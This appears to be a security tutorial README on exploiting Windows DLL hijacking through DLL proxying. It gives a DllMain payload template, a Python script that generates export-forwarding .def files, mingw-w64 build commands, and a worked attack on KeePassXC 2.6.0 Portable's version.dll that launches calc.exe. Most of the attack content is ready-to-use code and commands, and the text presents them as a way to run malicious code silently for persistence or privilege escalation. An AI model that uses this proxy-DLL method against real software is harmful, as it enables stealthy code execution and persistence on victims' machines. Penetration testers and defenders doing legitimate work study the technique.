Exploiting DLL Hijacking by DLL Proxying Super Easily
TL;DR
This is a tutorial about exploiting DLL Hijack vulnerability without crashing the application. The method used is called DLL Proxying.
There are various Visual Studio projects for Windows about this, but here is how to build and cross-compile the Proxy DLL with mingw-w64 super easily on Linux.
Introduction
DLL Hijacking in a nutshell: there is a search order (of predefined paths) for an application to look for required DLLs, and if it is possible to put a malicious DLL with the same name in the search path before the legitimate target DLL, then it is possible to hijack the execution flow by the replacement exported methods of the malicious DLL.
It can be used by attackers for persistence or even privilege escalation. Under some special conditions and configurations, it can be also used for domain level privilege escalation and even for remote code execution.
There are two important requirements of the malicious replacement DLL:
-
The malicious DLL should export the functions (at least by dummy implementations) which the application tries to import otherwise the application fails to load and malicious DLL would also not be loaded.
-
If the malicious DLL exports the functions required by the application but does not implement them equivalently to the legitimate DLL, the application loads the DLL and probably executes the malicious code (e.g. in the
DllMain()
function), but afterwards the application crashes.
The solution for these two problems is DLL Proxying: create a malicious DLL which exports all of the functions of the legitimate DLL and instead of implementing them, just forward the calls to the legitimate DLL.
This way the application behaves normally without crashing and it can execute the malicious code silently in the background.
Creating the Proxy DLL
Let's assume the target DLL we want to proxy to is target_orig.dll
and the proxy DLL
will be target.dll
. It is possible to use a basic template for target.c
:
void Payload()
{
// Malicious payload should be implemented here...
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Defining the exports is possible easily during link-time by using
Module-Definition (.def) files
which is fortunately supported by the mingw-w64 cross-compiler toolset. In the .def
file it is also possible
to instruct the linker to use external references for the exported functions to the legitimate DLL file.
The required syntax for the .def
file exports:
EXPORTS
exported_name1=legitimate_dll_module.exported_name1 @ordinal1
exported_name2=legitimate_dll_module.exported_name2 @ordinal2
...
In order to generate the .def
file all we need is the export list of the legitimate DLL.
Extracting the export list is really simple by using the Python pefile
Portable Executable (PE) parser module. Here is how to do it
(script is included here in the repo):
import pefile
dll = pefile.PE('target_orig.dll')
print("EXPORTS")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
print('{}=target_orig.{} @{}'.format(export.name.decode(), export.name.decode(), export.ordinal))
The output of this short script is the required target.def
file for the mingw-w64 linker.
Now compiling and linking is trivial by using mingw-w64 cross-compiler (e.g. on Linux, targeting Windows 32-bit arch):
i686-w64-mingw32-gcc -shared -o target.dll target.c target.def -s
The resulted target.dll
proxies all of the calls to the exported functions to the legitimate target_orig.dll
.
This way the application depending on the methods of target.dll
is working normally, but it executes our
Payload()
function at initialization. ;)
This is not new, this is a well-known technique, but the above mingw-w64 method with the module-definition file for creating the Proxy DLL is one of the simplest.
Example
Let's take an arbitrary DLL Hijacking vulnerable app (it is easy because there are many): e.g. KeePassXC 2.6.0 Portable (32-bit).
Using Sysinternals Process Monitor it is easy to detect a potentional DLL Hijacking issue:
Here the KeePassXC.exe
app tries to load the library version.dll
,
first from the path of the exe resulting NAME NOT FOUND
then
it finds the dll in the official C:\Windows\SysWOW64
folder.
Let's try to target this version.dll
loading:
let's put a malicious version of the dll to the exe folder.
Copy the legitimate one from C:\Windows\SysWOW64\version.dll
to
the Linux host as version_orig.dll
.
Generating the version.def
file containing the export
redirections by the Python script:
gen_def.py version_orig.dll > version.def
Here is (version.c)[./version.c] adding an example Payload()
launching calc.exe
to the above template:
#include <processthreadsapi.h>
#include <memoryapi.h>
void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Cross-compiling and linking the malicious Proxy DLL using mingw-w64:
i686-w64-mingw32-gcc -shared -o version.dll version.c version.def -s
Copy the malicious version.dll
proxy and the legitimate version_orig.dll
to the home folder of KeePassXC:
And now launch KeePassXC.exe
! The application should work well and
behave normally and our payload is also excecuted (calc.exe
launched). :)